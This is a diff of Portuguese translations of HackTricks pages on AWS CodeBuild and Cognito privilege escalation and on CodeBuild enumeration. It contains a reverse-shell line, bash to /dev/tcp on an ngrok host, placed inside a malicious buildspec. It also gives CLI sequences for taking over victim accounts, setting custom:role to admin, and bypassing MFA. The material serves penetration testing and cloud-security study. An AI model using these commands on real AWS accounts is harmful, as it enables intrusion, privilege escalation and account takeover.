|
||||
aws ssm start-session --target <sessionTarget> --region <region>
|
||||
```
|
||||
Para mais informações [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
|
||||
For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
Um atacante capaz de iniciar/reiniciar um build de um projeto CodeBuild específico que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.
|
||||
Um attacker capaz de iniciar/reiniciar um build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o attacker tem write access, pode obter command execution no processo do CodeBuild.
|
||||
|
||||
Nota: a escalada é relevante apenas se o CodeBuild worker tiver um role diferente, preferivelmente mais privilegiado, do que o do atacante.
|
||||
Note: a escalation é relevante apenas se o CodeBuild worker tiver um role diferente — preferencialmente mais privileged — do que o role do attacker.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -351,13 +414,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**Impacto:** Privesc direto para a role usada pelo AWS CodeBuild worker que normalmente tem altos privilégios.
|
||||
**Impacto:** privesc direto para a role usada pelo AWS CodeBuild worker que geralmente tem privilégios elevados.
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e enviar
|
||||
> Observe que o buildspec pode estar em formato zip, então um atacante precisaria fazer download, unzip, modificar o `buildspec.yml` do diretório raiz, zip novamente e fazer upload
|
||||
|
||||
Mais detalhes podem ser encontrados [aqui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
**Potencial Impacto:** Privesc direto para as roles anexadas do AWS CodeBuild.
|
||||
**Impacto Potencial:** privesc direto para as AWS Codebuild roles associadas.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,23 +4,23 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
Para mais informações sobre Cognito, veja:
|
||||
Para mais informações sobre Cognito consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Coletando credenciais do Identity Pool
|
||||
### Coleta de credenciais do Identity Pool
|
||||
|
||||
Como o Cognito pode conceder **IAM role credentials** tanto a **authenticated** an **unauthenticated** **users**, se você localizar o **Identity Pool ID** de uma aplicação (deve estar hardcoded nela) você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde provavelmente você nem tinha credenciais anteriormente).
|
||||
Como o Cognito pode conceder **IAM role credentials** tanto a **usuários autenticados** quanto a **usuários não autenticados**, se você localizar o **Identity Pool ID** de uma aplicação (geralmente codificado diretamente nela) você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde provavelmente você nem sequer tinha credenciais anteriormente).
|
||||
|
||||
Para mais informações [**consulte esta página**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
|
||||
**Impacto Potencial:** Privesc direto para o service role anexado aos unauth users (e provavelmente para o anexado aos auth users).
|
||||
**Impacto Potencial:** Privesc direto para o role de serviços anexado aos usuários não autenticados (e provavelmente também para o anexado aos usuários autenticados).
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
Com essa permissão você pode **conceder qualquer cognito role** aos authenticated/unauthenticated users do aplicativo Cognito.
|
||||
Com essa permissão você pode **conceder qualquer cognito role** aos usuários autenticados/não autenticados do app Cognito.
|
||||
```bash
|
||||
aws cognito-identity set-identity-pool-roles \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
|
||||
## Get creds for that id
|
||||
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
|
||||
```
|
||||
Se o app cognito **não tiver usuários não autenticados ativados**, você também pode precisar da permissão `cognito-identity:UpdateIdentityPool` para habilitá-la.
|
||||
Se o app do Cognito **não tiver usuários não autenticados habilitados** você pode precisar também da permissão `cognito-identity:UpdateIdentityPool` para ativá-la.
|
||||
|
||||
**Impacto Potencial:** privesc direto para qualquer cognito role.
|
||||
**Impacto Potencial:** Privesc direto para qualquer role do Cognito.
|
||||
|
||||
### `cognito-identity:update-identity-pool`
|
||||
|
||||
Um atacante com essa permissão poderia configurar, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma **forma de acessar este Cognito Identity Pool**. Então, apenas **fazer login** nesse provedor de usuário permitirá que ele **accesse a role autenticada configurada no Identity Pool**.
|
||||
Um atacante com essa permissão poderia configurar, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma **forma de acessar este Cognito Identity Pool**. Então, apenas **fazer login** nesse provedor de usuário irá **permitir que ele acesse o role autenticado configurado no Identity Pool**.
|
||||
```bash
|
||||
# This example is using a Cognito User Pool as identity provider
|
||||
## but you could use any other identity provider
|
||||
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
```
|
||||
Também é possível **abusar desta permissão para permitir basic auth**:
|
||||
Também é possível **abusar dessa permissão para permitir basic auth**:
|
||||
```bash
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
@@ -69,40 +69,40 @@ aws cognito-identity update-identity-pool \
|
||||
--allow-unauthenticated-identities
|
||||
--allow-classic-flow
|
||||
```
|
||||
**Potential Impact**: Comprometer o IAM role autenticado configurado dentro do identity pool.
|
||||
**Impacto Potencial**: Comprometer a configured authenticated IAM role inside the identity pool.
|
||||
|
||||
### `cognito-idp:AdminAddUserToGroup`
|
||||
|
||||
Essa permissão permite **adicionar um Cognito user a um Cognito group**, portanto um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com privilégios **melhores** ou **IAM roles diferentes**:
|
||||
Esta permissão permite **adicionar um usuário Cognito a um grupo Cognito**, portanto um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com **privilégios melhores** ou **diferentes IAM roles**:
|
||||
```bash
|
||||
aws cognito-idp admin-add-user-to-group \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--group-name <value>
|
||||
```
|
||||
**Impacto Potencial:** Privesc para outros Cognito groups e IAM roles anexados a User Pool Groups.
|
||||
**Impacto potencial:** Privesc para outros Cognito groups e IAM roles anexadas a User Pool Groups.
|
||||
|
||||
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
|
||||
|
||||
Um atacante com essas permissões poderia **criar/atualizar grupos** com **cada IAM role que pode ser usada por um Cognito Identity Provider comprometido** e colocar um usuário comprometido no grupo, acessando todas essas roles:
|
||||
Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as IAM roles que podem ser utilizadas por um Cognito Identity Provider comprometido** e tornar um usuário comprometido membro do grupo, acessando todas essas roles:
|
||||
```bash
|
||||
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
|
||||
```
|
||||
**Impacto potencial:** Privesc para outras Cognito IAM roles.
|
||||
**Impacto Potencial:** Privesc para outras roles IAM do Cognito.
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
||||
Essa permissão permite **verificar um cadastro**. Por padrão, qualquer pessoa pode fazer login em aplicações Cognito; se isso estiver habilitado, um usuário poderia criar uma conta com quaisquer dados e verificá-la usando essa permissão.
|
||||
Essa permissão permite **verificar um cadastro**. Por padrão, qualquer pessoa pode se cadastrar em aplicações Cognito; se isso estiver habilitado, um usuário poderia criar uma conta com quaisquer dados e verificá-la com essa permissão.
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**Impacto Potencial:** Indirect privesc ao identity pool IAM role para usuários autenticados se você conseguir registrar um novo usuário. Indirect privesc para outras funcionalidades da aplicação que permitem confirmar qualquer conta.
|
||||
**Impacto Potencial:** Indirect privesc to the identity pool IAM role for authenticated users se você conseguir registrar um novo usuário. Indirect privesc para outras funcionalidades do app, permitindo confirmar qualquer conta.
|
||||
|
||||
### `cognito-idp:AdminCreateUser`
|
||||
|
||||
Essa permissão permitiria que um atacante criasse um novo usuário dentro do user pool. O novo usuário é criado como ativado, mas precisará alterar sua senha.
|
||||
Essa permissão permitiria a um attacker criar um novo usuário dentro do user pool. O novo usuário é criado como enabled, mas precisará alterar sua senha.
|
||||
```bash
|
||||
aws cognito-idp admin-create-user \
|
||||
--user-pool-id <value> \
|
||||
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
|
||||
[--validation-data <value>]
|
||||
[--temporary-password <value>]
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para a identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades do app que permitem criar qualquer usuário
|
||||
**Impacto Potencial:** Privesc direto na identity pool IAM role para usuários autenticados. Privesc indireto em outras funcionalidades do app, permitindo criar qualquer usuário
|
||||
|
||||
### `cognito-idp:AdminEnableUser`
|
||||
|
||||
Essa permissão pode ajudar em um cenário muito específico em que um atacante encontrou as credenciais de um usuário desativado e precisa **ativá-lo novamente**.
|
||||
Esta permissão pode ajudar em um cenário muito específico onde um atacante encontrou as credenciais de um usuário desativado e precisa **habilitá-lo novamente**.
|
||||
```bash
|
||||
aws cognito-idp admin-enable-user \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**Impacto Potencial:** Privesc indireta para a identity pool IAM role para usuários autenticados e para as permissões do usuário se o atacante tivesse credenciais de um usuário desabilitado.
|
||||
**Impacto potencial:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user.
|
||||
|
||||
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
|
||||
|
||||
Essa permissão permite efetuar login com o [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Para mais informações, siga o link.
|
||||
Essa permissão permite fazer login com o [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Para mais informações, siga o link.
|
||||
|
||||
### `cognito-idp:AdminSetUserPassword`
|
||||
|
||||
Essa permissão permitiria que um atacante **alterasse a senha de qualquer usuário**, permitindo-lhe se passar por qualquer usuário (que não tenha MFA habilitado).
|
||||
Essa permissão permitiria que um atacante **definisse uma senha conhecida para qualquer usuário**, geralmente resultando em um **comprometimento direto da conta** (especialmente se a vítima não tiver MFA habilitado, ou se o MFA não for imposto para o fluxo/cliente de autenticação relevante).
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--user-pool-id <value> \
|
||||
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
|
||||
--password <value> \
|
||||
--permanent
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para potencialmente qualquer usuário, proporcionando acesso a todos os grupos dos quais cada usuário é membro e acesso ao Identity Pool authenticated IAM role.
|
||||
Fluxo de trabalho comum:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
VICTIM_USERNAME="<victim_username_or_email>"
|
||||
NEW_PASS='P@ssw0rd-ChangeMe-123!'
|
||||
|
||||
# 1) Set a permanent password for the victim (takeover primitive)
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$VICTIM_USERNAME" \
|
||||
--password "$NEW_PASS" \
|
||||
--permanent
|
||||
|
||||
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
|
||||
```
|
||||
Related permission: `cognito-idp:AdminResetUserPassword` pode ser usada para forçar um fluxo de reset para uma vítima (o impacto depende de como a recuperação de senha é implementada e o que o atacante pode interceptar ou controlar).
|
||||
|
||||
**Potential Impact:** Tomada de conta de usuários arbitrários; acesso a privilégios em nível de aplicação (groups/roles/claims) e a qualquer recurso a jusante que confie em tokens do Cognito; possível acesso às IAM roles autenticadas do Identity Pool.
|
||||
|
||||
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
||||
|
||||
**AdminSetUserSettings**: Um atacante poderia potencialmente abusar dessa permissão para definir um telefone móvel sob seu controle como **SMS MFA de um usuário**.
|
||||
**AdminSetUserSettings**: Um atacante poderia potencialmente abusar desta permissão para definir um telefone móvel sob seu controle como **SMS MFA de um usuário**.
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-settings \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
```
|
||||
**SetUserMFAPreference:** Semelhante ao anterior, essa permissão pode ser usada para definir as preferências de MFA de um usuário, permitindo o bypass da proteção MFA.
|
||||
**SetUserMFAPreference:** Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um usuário para realizar bypass na proteção de MFA.
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-mfa-preference \
|
||||
[--sms-mfa-settings <value>] \
|
||||
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
|
||||
--username <value> \
|
||||
--user-pool-id <value>
|
||||
```
|
||||
**SetUserPoolMfaConfig**: Semelhante à anterior, esta permissão pode ser usada para definir as preferências de MFA de um user pool para bypass a proteção de MFA.
|
||||
**SetUserPoolMfaConfig**: Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um user pool, permitindo bypass da proteção MFA.
|
||||
```bash
|
||||
aws cognito-idp set-user-pool-mfa-config \
|
||||
--user-pool-id <value> \
|
||||
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** Também é possível atualizar o user pool para alterar a política de MFA. [Veja o CLI aqui](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
**UpdateUserPool:** Também é possível atualizar o user pool para alterar a política de MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Impacto Potencial:** Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conheça; isso poderia permitir contornar a proteção MFA.
|
||||
|
||||
### `cognito-idp:AdminUpdateUserAttributes`
|
||||
|
||||
Um atacante com essa permissão poderia alterar o e-mail, o número de telefone ou qualquer outro atributo de um usuário sob seu controle para tentar obter mais privilégios em uma aplicação subjacente.\
|
||||
Isso permite alterar um e-mail ou número de telefone e marcá-lo como verificado.
|
||||
Um atacante com essa permissão pode alterar **qualquer atributo mutável** de um usuário do User Pool (incluindo atributos `custom:*`) para tentar obter privilégios em uma aplicação subjacente.
|
||||
|
||||
Um padrão comum de alto impacto é **claim-based RBAC** implementado usando **custom attributes** (por exemplo `custom:role=admin`). Se a aplicação confiar nessa claim, atualizá-la e então reautenticar pode contornar a autorização sem modificar a aplicação.
|
||||
```bash
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
```
|
||||
**Impacto Potencial:** Potencial privesc indireto na aplicação subjacente que usa Cognito User Pool e que concede privilégios com base em atributos do usuário.
|
||||
Exemplo: atualizar seu próprio role e refresh tokens:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
USERNAME="<your_username>"
|
||||
|
||||
# 1) Change the RBAC attribute (example)
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$USERNAME" \
|
||||
--user-attributes Name="custom:role",Value="admin"
|
||||
|
||||
# 2) Re-authenticate to obtain a token with updated claims
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
PASSWORD="<your_password>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
|
||||
```
|
||||
**Impacto Potencial:** Indirect privesc em aplicações que confiam em atributos/claims do Cognito para autorização; capacidade de modificar outros atributos relevantes para a segurança (por exemplo, definir `email_verified` ou `phone_number_verified` como `true` pode ser importante em algumas aplicações).
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
Um atacante com essa permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo client poderia permitir qualquer tipo de método de autenticação, não possuir client secret, ter a revogação de tokens desabilitada, permitir que os tokens sejam válidos por um período mais longo...
|
||||
Um atacante com essa permissão poderia **create a new User Pool Client less restricted** do que os clientes de pool já existentes. Por exemplo, o novo client poderia permitir qualquer método de autenticação, não ter nenhum secret, ter token revocation desabilitada e permitir que tokens sejam válidos por um período mais longo...
|
||||
|
||||
O mesmo pode ser feito se, em vez de criar um novo client, um **existente for modificado**.
|
||||
O mesmo pode ser feito se, em vez de criar um novo client, um **existing one is modified**.
|
||||
|
||||
No [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou no [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
|
||||
In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!.
|
||||
```bash
|
||||
aws cognito-idp create-user-pool-client \
|
||||
--user-pool-id <value> \
|
||||
--client-name <value> \
|
||||
[...]
|
||||
```
|
||||
**Impacto Potencial:** Potencial privesc indireto ao usuário autorizado do Identity Pool usado pelo User Pool ao criar um novo client que relaxa as medidas de segurança e permite que um attacker faça login com um usuário que ele conseguiu criar.
|
||||
**Potential Impact:** Potencial privesc indireto para o usuário autorizado do Identity Pool usado pelo User Pool ao criar um novo client que relaxa as medidas de segurança e possibilita que um atacante faça login com um user que ele conseguiu criar.
|
||||
|
||||
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
|
||||
|
||||
An attacker poderia abusar desta permissão para criar usuários fazendo upload de um csv com novos usuários.
|
||||
Um atacante poderia abusar dessa permissão para criar usuários fazendo o upload de um CSV com novos usuários.
|
||||
```bash
|
||||
# Create a new import job
|
||||
aws cognito-idp create-user-import-job \
|
||||
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
|
||||
curl -v -T "PATH_TO_CSV_FILE" \
|
||||
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
|
||||
```
|
||||
(No caso de criar um novo import job você pode também precisar da iam passrole permission — ainda não testei isso).
|
||||
(No caso de criar um novo import job você também pode precisar da permissão iam passrole, ainda não testei.)
|
||||
|
||||
**Impacto Potencial:** Privesc direto para a identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades do app que podem criar qualquer usuário.
|
||||
**Impacto Potencial:** Privesc direto para a identity pool IAM role para authenticated users. Privesc indireto para outras funcionalidades do app capazes de criar qualquer usuário.
|
||||
|
||||
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
|
||||
|
||||
Um atacante poderia criar um novo identity provider para então conseguir **fazer login através deste provider**.
|
||||
Um atacante poderia criar um novo identity provider para então conseguir **login through this provider**.
|
||||
```bash
|
||||
aws cognito-idp create-identity-provider \
|
||||
--user-pool-id <value> \
|
||||
@@ -230,36 +278,36 @@ aws cognito-idp create-identity-provider \
|
||||
[--attribute-mapping <value>] \
|
||||
[--idp-identifiers <value>]
|
||||
```
|
||||
**Impacto Potencial:** privesc direto ao identity pool IAM role para usuários autenticados. Privesc indireto em outras funcionalidades do app, permitindo criar qualquer usuário.
|
||||
**Impacto Potencial:** Privesc direto para o identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades da aplicação que permitam criar qualquer usuário.
|
||||
|
||||
### cognito-sync:\* Análise
|
||||
|
||||
Esta é uma permissão muito comum por padrão em roles de Cognito Identity Pools. Mesmo que um wildcard em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões dadas não são muito úteis do ponto de vista de um atacante**.
|
||||
Esta é uma permissão muito comum por padrão em roles de Cognito Identity Pools. Mesmo que um wildcard em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões fornecidas não são muito úteis do ponto de vista de um atacante**.
|
||||
|
||||
Essa permissão permite ler informações de uso de Identity Pools e dos Identity IDs dentro dos Identity Pools (o que não é informação sensível).\
|
||||
Identity IDs podem ter [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atribuídos a eles, que são informações das sessões (a AWS define isso como um **jogo salvo**). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na [**página de enumeração**](../../aws-services/aws-cognito-enum/index.html) como acessar essa informação.
|
||||
Essa permissão permite ler informações de uso de Identity Pools e Identity IDs dentro dos Identity Pools (o que não é informação sensível).\
|
||||
Identity IDs podem ter [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atribuídos a eles, que são informações das sessões (a AWS define como um **saved game**). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na [**página de enumeração**](../../aws-services/aws-cognito-enum/index.html) como acessar essa informação.
|
||||
|
||||
Um atacante também poderia usar essas permissões para **inscrever-se em um Cognito stream que publica mudanças** nesses datases ou em um **lambda que é acionado por eventos do cognito**. Não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível.
|
||||
Um atacante também poderia usar essas permissões para **inscrever-se em um Cognito stream que publica mudanças** nesses datasets ou em uma **lambda que dispara em cognito events**. Não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível.
|
||||
|
||||
### Ferramentas Automáticas
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os assets do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e privilege escalation com base em atributos customizáveis modificáveis, usable identity pool credentials, assumable roles em id tokens, etc.
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração AWS, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os assets do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e privilege escalation com base em custom attributes modificáveis, credenciais de identity pool utilizáveis, assumable roles em id tokens, etc.
|
||||
|
||||
Para uma descrição das funções dos módulos veja a parte 2 do [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
|
||||
|
||||
#### Uso
|
||||
|
||||
Exemplo de uso do cognito__attack para tentar criação de usuário e todos os vetores de privesc contra um dado identity pool e user pool client:
|
||||
Amostra de uso do cognito__attack para tentar criação de usuário e todos os vetores de privesc contra um dado identity pool e user pool client:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
Exemplo de uso do cognito__enum para coletar todos os user pools, user pool clients, identity pools, users, etc. visíveis na conta AWS atual:
|
||||
Exemplo de uso do cognito\_\_enum para coletar todos os user pools, user pool clients, identity pools, users, etc. visíveis na conta AWS atual:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em Python que implementa diferentes ataques no Cognito, incluindo uma privesc escalation.
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques no Cognito, incluindo uma escalada de privesc.
|
||||
|
||||
#### Instalação
|
||||
```bash
|
||||
|
||||
@@ -1,30 +1,30 @@
|
||||
# AWS - Enumeração do Codebuild
|
||||
# AWS - Codebuild Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CodeBuild
|
||||
|
||||
AWS **CodeBuild** é reconhecido como um **serviço de integração contínua totalmente gerenciado**. O principal objetivo deste serviço é automatizar a sequência de compilação do código-fonte, execução de testes e empacotamento do software para fins de implantação. O benefício predominante oferecido pelo CodeBuild reside em sua capacidade de aliviar a necessidade de os usuários provisionarem, gerenciarem e escalarem seus servidores de build. Essa conveniência se deve ao fato de que o próprio serviço gerencia essas tarefas. As características essenciais do AWS CodeBuild incluem:
|
||||
AWS **CodeBuild** é reconhecido como um **serviço de integração contínua totalmente gerenciado**. O propósito principal deste serviço é automatizar a sequência de compilação do código-fonte, execução de testes e empacotamento do software para fins de implantação. O benefício predominante oferecido pelo CodeBuild reside em sua capacidade de aliviar a necessidade de os usuários provisionarem, gerenciarem e escalarem seus servidores de build. Essa conveniência ocorre porque o serviço gerencia essas tarefas. Recursos essenciais do AWS CodeBuild englobam:
|
||||
|
||||
1. **Serviço Gerenciado**: O CodeBuild gerencia e escala os servidores de build, liberando os usuários da manutenção do servidor.
|
||||
2. **Integração Contínua**: Ele se integra ao fluxo de trabalho de desenvolvimento e implantação, automatizando as fases de build e teste do processo de liberação de software.
|
||||
3. **Produção de Pacotes**: Após as fases de build e teste, ele prepara os pacotes de software, tornando-os prontos para implantação.
|
||||
1. **Serviço gerenciado**: CodeBuild gerencia e escala os servidores de build, liberando os usuários da manutenção de servidores.
|
||||
2. **Integração contínua**: Ele se integra ao fluxo de desenvolvimento e implantação, automatizando as fases de build e teste do processo de liberação do software.
|
||||
3. **Geração de pacotes**: Após as fases de build e teste, prepara os pacotes de software, deixando-os prontos para implantação.
|
||||
|
||||
O AWS CodeBuild se integra perfeitamente com outros serviços da AWS, aumentando a eficiência e a confiabilidade do pipeline de CI/CD (Integração Contínua/Implantação Contínua).
|
||||
O AWS CodeBuild integra-se perfeitamente com outros serviços da AWS, aumentando a eficiência e confiabilidade da pipeline CI/CD (Integração Contínua/Entrega Contínua).
|
||||
|
||||
### **Credenciais do Github/Gitlab/Bitbucket**
|
||||
|
||||
#### **Credenciais de fonte padrão**
|
||||
#### **Credenciais de origem padrão**
|
||||
|
||||
Esta é a opção legada onde é possível configurar algum **acesso** (como um token ou aplicativo do Github) que será **compartilhado entre os projetos do codebuild**, para que todos os projetos possam usar esse conjunto de credenciais configurado.
|
||||
Esta é a opção legada em que é possível configurar algum acesso (como um token ou app do Github) que será compartilhado entre projetos do CodeBuild para que todos os projetos possam usar esse conjunto configurado de credenciais.
|
||||
|
||||
As credenciais armazenadas (tokens, senhas...) são **gerenciadas pelo codebuild** e não há nenhuma maneira pública de recuperá-las das APIs da AWS.
|
||||
As credenciais armazenadas (tokens, senhas...) são gerenciadas pelo CodeBuild e não existe nenhuma forma pública de recuperá-las via APIs da AWS.
|
||||
|
||||
#### Credencial de fonte personalizada
|
||||
#### **Credencial de origem personalizada**
|
||||
|
||||
Dependendo da plataforma do repositório (Github, Gitlab e Bitbucket), diferentes opções são fornecidas. Mas, em geral, qualquer opção que requer **armazenar um token ou uma senha será armazenada como um segredo no gerenciador de segredos**.
|
||||
Dependendo da plataforma de repositório (Github, Gitlab e Bitbucket), são fornecidas opções diferentes. Mas, em geral, qualquer opção que exija armazenar um token ou uma senha irá armazená-lo como um segredo no Secrets Manager.
|
||||
|
||||
Isso permite que **diferentes projetos do codebuild usem diferentes acessos configurados** aos provedores em vez de apenas usar o padrão configurado.
|
||||
Isso permite que projetos do CodeBuild diferentes usem acessos configurados distintos aos provedores, em vez de apenas usar o acesso padrão configurado.
|
||||
|
||||
### Enumeração
|
||||
```bash
|
||||
@@ -47,9 +47,12 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
|
||||
aws codebuild list-reports
|
||||
aws codebuild describe-test-cases --report-arn <ARN>
|
||||
```
|
||||
> [!TIP]
|
||||
